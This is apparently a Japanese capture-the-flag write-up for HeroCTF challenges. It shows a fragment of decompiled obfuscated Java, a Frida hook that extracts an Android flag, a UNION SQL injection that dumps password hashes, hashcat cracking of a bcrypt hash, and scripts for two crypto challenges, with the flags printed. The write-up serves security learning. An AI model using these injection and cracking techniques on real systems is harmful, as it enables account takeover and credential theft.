null; break label1978; } } } label1975: while(true) { do { while(true) { int var4 = 1; if (var3 != 0) { int var5 = 2; if (var3 == 1) { var4 = var2 + 1; byte var202; if (var4 < var0) { var202 = (byte)var5; } else { var202 = 9; } var3 = var202; var2 = var4; continue; } if (var3 == 2) { var5 = var207[var11[var2]] & 255; int var6 = (var2 ^ var5) & 1; var3 = var5; if ((var6 ^ 1) + var6 != 1) { var3 = var5 + 256; } var5 = var1 & 7; var3 = var3 - (var2 & 255) & 255 & 255; var203[var2] = (byte)(((var3 >>> var5 | var3 << 8 - var5 & 255) & 255 ^ var12[var2 & 3] & 255) & 255); var5 = var2 & 16; if (var5 == 32 && var2 < 0) { var3 = 9; } else { var3 = var4; if (var5 == 32) { var3 = 9; } } break; } if (var3 == 9) { boolean var174 = false; try { var174 = true; String var205 = new String(new char[]{'j', 'a', 'v', 'a', '.', 'n', 'i', 'o', '.', 'c', 'h', 'a', 'r', 's', 'e', 't', '.', 'C', 'h', 'a', 'r', 's', 'e', 't'}); var9 = Class.forName(var205); Method var210 = var9.getMethod("forName", String.class); String var208 = new String(new char[]{'U', 'T', 'F', '-', '8'}); Object var209 = var210.invoke((Object)null, var208); Constructor var206 = String.class.getConstructor(byte[].class, var9); if ((var203.length ^ var0 | 1) != 0) { var205 = (String)var206.newInstance(var203, var209); return var205; } var174 = false; } finally { if (var174) { try { var8 = new String(var203, Charset.forName(var8)); return var8; } finally { return new String(var203); } } } } } boolean var10001; label1958: { if (var14 != null) { label1954: try { var0 = ((MethodHandle)var14).invokeExact(); break label1958; } catch (Throwable var198) { var10001 = false; break label1954; } } else { label1956: try { var0 = K(); break label1958; } catch (Throwable var199) { var10001 = false; break label1956; } } var0 = K(); } int[] var204; label1950: { if (var16 != null) { label1946: try { var204 = var16.invokeExact(); break label1950; } catch (Throwable var196) { var10001 = false; break label1946; } } else { label1948: try { var204 = E(); break label1950; } catch (Throwable var197) { var10001 = false; break label1948; } } var204 = E(); } label1942: { var207 = var204; var4 = var204.length; if (var15 != null) { label1938: try { var204 = ((MethodHandle)var15).invokeExact(var4, var0); break label1942; } catch (Throwable var194) { var10001 = false; break label1938; } } else { label1940: try { var204 = P(var4, var0); break label1942; } catch (Throwable var195) { var10001 = false; break label1940; } } var204 = P(var4, var0); } label1934: { var11 = var204; var1 = var0 >>> 27 & 7; if (var13 != null) { label1930: try { var204 = ((MethodHandle)var13).invokeExact(var0); break label1934; } catch (Throwable var192) { var10001 = false; break label1930; } } else { label1932: try { var204 = B(var0); break label1934; } catch (Throwable var193) { var10001 = false; break label1932; } } var204 = B(var0); } byte[] var17 = new byte[var4]; label1925: try { System.identityHashCode(var9); } finally { break label1925; } var2 = -1; var3 = 1; var0 = var4; var12 = var204; var203 = var17; } } while((~var2 ^ var2) != -1); try { IllegalStateException var211 = new IllegalStateException("noise"); throw var211; } finally { continue; } } } }
com.heroctf.freeda2.utils.Vaultクラスのget_flag()でフラグを取得できる。Fridaを使って、get_flag関数をフックしてフラグを取得することを考える。
app-release.apkをエミュレータにインストールする。
>adb install app-release.apk Performing Streamed Install Succes
Freeda Simple Hookと同様に、hook.jsに以下のように記述し、フックするようにする。
Java.perform(function () { var target = Java.use("com.heroctf.freeda2.utils.Vault"); target.get_flag.implementation = function() { console.log("[*] get_flag called"); var result = this.get_flag(); console.log("[*] returns:", result); return result; }; });
このフック設定をした状態でアプリを実行する。
>frida -U -f com.heroctf.freeda2 -l hook.js
____
/ _ | Frida 17.5.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawned `com.heroctf.freeda2`. Resuming main thread!
[Android Emulator 5554::com.heroctf.freeda2 ]->アプリ側で適当なパスワードを入力し、Submitする。すると、先ほどの実行コンソールの続きに以下の通り表示された。
[*] get_flag called
[*] returns: HERO{D1D_Y0U_U53_0BJ3C71ON?}
HERO{D1D_Y0U_U53_0BJ3C71ON?}
Revoked (Web)
適当なユーザを登録し、ログインする。Search Employeesで検索することができるが、SQLインジェクションができる。
以下を入力し、検索してみる。
ZZ' union select username,password_hash,3,is_admin from users --
結果は以下の通り。
$2b$12$K1EVRjXYaaNnvYMOGuUl.OMcYXPcF6.EAMlEsZ2hPrfASHAJSyfv6 1 $2b$12$acpaSGldFT4hCbTRg0q4i.97GggJ1AGgnJgQ90magPx3.MEoxTSIq 1 $2b$12$RIRHsKe4HccQ8mBCEgLCr.OQrpd0FhE5mbqc57Xmx7ZHZ.Olwjvfy 0 $2b$12$bTmIJDv.BNbWyAcsE75Rq.cG8KzO2y.OSVLuVReLJTi5sA1Zb9NUu 0
以下を入力し、検索してみる。
ZZ' union select is_admin,password_hash,3,username from users --
結果は以下の通り。
$2b$12$RIRHsKe4HccQ8mBCEgLCr.OQrpd0FhE5mbqc57Xmx7ZHZ.Olwjvfy hoge $2b$12$bTmIJDv.BNbWyAcsE75Rq.cG8KzO2y.OSVLuVReLJTi5sA1Zb9NUu james $2b$12$K1EVRjXYaaNnvYMOGuUl.OMcYXPcF6.EAMlEsZ2hPrfASHAJSyfv6 admin $2b$12$acpaSGldFT4hCbTRg0q4i.97GggJ1AGgnJgQ90magPx3.MEoxTSIq admin1
admin1のパスワードクラックを行う。
$ echo -n "\$2b\$12\$acpaSGldFT4hCbTRg0q4i.97GggJ1AGgnJgQ90magPx3.MEoxTSIq" > hash.txt $ hashcat -m 3200 hash.txt /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ================================================================================================================================================== * Device #1: pthread-sandybridge-Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz, 1433/2930 MB (512 MB allocatable), 4MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 72 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Single-Hash * Single-Salt Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 0 MB Dictionary cache hit: * Filename..: /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt * Passwords.: 10000 * Bytes.....: 76508 * Keyspace..: 10000 $2b$12$acpaSGldFT4hCbTRg0q4i.97GggJ1AGgnJgQ90magPx3.MEoxTSIq:pass Session..........: hashcat Status...........: Cracked Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) Hash.Target......: $2b$12$acpaSGldFT4hCbTRg0q4i.97GggJ1AGgnJgQ90magPx3...oxTSIq Time.Started.....: Sat Nov 29 19:33:30 2025 (4 secs) Time.Estimated...: Sat Nov 29 19:33:34 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 20 H/s (5.90ms) @ Accel:4 Loops:32 Thr:1 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 80/10000 (0.80%) Rejected.........: 0/80 (0.00%) Restore.Point....: 64/10000 (0.64%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4064-4096 Candidate.Engine.: Device Generator Candidates.#1....: michelle -> ginger Hardware.Mon.#1..: Util: 94% Started: Sat Nov 29 19:33:26 2025 Stopped: Sat Nov 29 19:33:35 2025
admin1:pass でログインし、Admin Panelを見ると、フラグが書いてあった。
Hero{N0t_th4t_r3v0k3d_ec6dcf0ae6ae239c4d630b2f5ccb51bb}
Andor (Crypto)
サーバの処理概要は以下の通り。
・flag: フラグ文字列の各文字のASCIIコードの配列 ・l: flagの長さの半分 ・以下繰り返し ・k: flagの長さのランダムバイト文字列 ・a: flagの前半とkの前半のAND ・o: flagの後半とkの後半のOR ・aを16進数表記で出力 ・oを16進数表記で出力 ・入力待ち
何回も出力させることによって、できるだけ正確なflagの値を割り出す。
なお、割り出す際には以下が成り立つことを利用する。
- ANDは各ビットについて、1回でも1になれば、そのビットは1になる。
- ORは各ビットについて、すべての回で1の場合、そのビットは1になる。
$ nc crypto.heroctf.fr 9000 a = 4825604a29510005162020245934603100501a00601f5100001420086015 o = 77f77e6eb3bfdf777777beecb5df7eed34ff7f74fffddf797f73ef773dff >
flag全体の長さは60バイトであることがわかるので、この前提でflagを割り出す。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.heroctf.fr', 9000)) bin_flag1 = ['0'] * (30 * 8) bin_flag2 = ['1'] * (30 * 8) for _ in range(128): data = recvuntil(s, b'\n').rstrip() print(data) int_a = int(data.split(' ')[-1], 16) data = recvuntil(s, b'\n').rstrip() print(data) int_o = int(data.split(' ')[-1], 16) data = recvuntil(s, b'> ') print(data) s.sendall(b'\n') bin_a = bin(int_a)[2:].zfill(30 * 8) bin_o = bin(int_o)[2:].zfill(30 * 8) for i in range(30 * 8): if bin_a[i] == '1': bin_flag1[i] = '1' if bin_o[i] == '0': bin_flag2[i] = '0' flag1 = long_to_bytes(int(''.join(bin_flag1), 2)) flag2 = long_to_bytes(int(''.join(bin_flag2), 2)) flag = (flag1 + flag2).decode() print(flag)
実行結果は以下の通り。
a = 00010021482000614134284014212c2200104220605369007048306e601d
o = fff07f6efbf37fbbf1f737ffbfdffefd7f7fffbe7f7c5ffb3d7b7fff3dfd
>
a = 006510073039306507100e005225001112401010404e2000611924680410
o = 7ff76e7f3fbbffb7f777ffee35dfeffdb77f7fbc7e755ff5b17dffff377f
>
a = 0820220a7b21006446006c040a146000030003106247100035170040204b
o = e77a7ef63fbb7f77fd7f3d6f7d7f7e7d3cf7df77fe77ff72317b7ebfff7d
>
:
:
a = 404420087a401031180068241201403222405320400d482031531446041a
o = 6375ef6ef7ff5f3bf57dfeff75ffeeeff4e7fff57feedff4b3bbefbfb7ff
>
a = 40400004220020610c000a441a052c2213700c3020144830144e10244059
o = ff737feef7ffdfb37df77efdf75f76fdb67ffff4ff7c7f7db1b3fe777d7d
>
a = 002152666b412030151062005921680322001710420f7810105a206c241d
o = f7716fe67f77ff7ffdf73c6d3f7f666e3f7f7fbc7fffff7134f9ee7737fd
>
Hero{y0u_4nd_5l33p_0r_y0u_4nd_c0ff33_3qu4l5_fl4g_4nd_p01n75}
Hero{y0u_4nd_5l33p_0r_y0u_4nd_c0ff33_3qu4l5_fl4g_4nd_p01n75}
Perilous (Crypto)
サーバの処理概要は以下の通り。
・FLAG: フラグ ・MASK: FLAGの長さ分のランダムバイト文字列 ・KEYS = [] ・k: 入力 ・c = encrypt(k, FLAG.hex()) ・kをhexデコード ・m = FLAG ・KEYSにkがある場合、エラー ・encryptor: RC4の暗号化オブジェクト ・m: mとMASKのXOR ・m: mをRC4暗号化したもの ・m: mとMASKのXOR ・mの16進数表記を返却 ・cを表示 ・以下繰り返し ・k: 入力 ・m: 入力 ・encrypt(k, m)を表示
$ nc crypto.heroctf.fr 9001 Welcome to my RC4 encryption service! Some may call it deprecated, I call it vintage. flag k: 0123456789 535011457a3f1def72a9e41d3b48cdda500ea18f5194fd6ab17053914f8e66529811aba2f698 k: 0000000000 m: 0123456789abcdef df3bcc262a9c90d5
FLAGの長さは38であることがわかる。
mの入力時に以下を入力することを考える。
0000000000000000000000000000000000000000000000000000000000000000000000000000
このとき以下のように暗号化される。
ct = RC4(k, MASK) ^ MASK
RC4はXORストリーム暗号のため、以下のように書くことができる。
RC4(k, MASK) = MASK ^ keystream(k)
つまり、以下のようになる。
ct = (MASK ^ keystream(k)) ^ MASK = keystream(k)
FLAGは以下のように暗号化されている。
enc_flag = RC4(k0, FLAG ^ MASK) ^ MASK
= (FLAG ^ MASK ^ keystream(k0)) ^ MASK
= FLAG ^ keystream(k0)どちらの場合もMASKが何であるかは関係ない。ローカルで適当な平文の暗号化を求め、keystream(k0)を算出し、FLAGを復号する。
#!/usr/bin/env python3 from cryptography.hazmat.decrepit.ciphers import algorithms from cryptography.hazmat.primitives.ciphers import Cipher import os def xor(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b * (1 + len(a) // len(b)))) k = bytes.fromhex('0123456789') enc_flag = '535011457a3f1def72a9e41d3b48cdda500ea18f5194fd6ab17053914f8e66529811aba2f698' enc_flag = bytes.fromhex(enc_flag) MASK = os.urandom(38) algorithm = algorithms.ARC4(k) cipher = Cipher(algorithm, mode=None) encryptor = cipher.encryptor() m = b'a' * 38 c = xor(m, MASK) c = encryptor.update(c) c = xor(c, MASK) keystream = xor(m, c) flag = xor(enc_flag, keystream).decode() print(flag)
Hero{7h3_p3r1l5_0f_r3p3471n6_p4773rn5}


















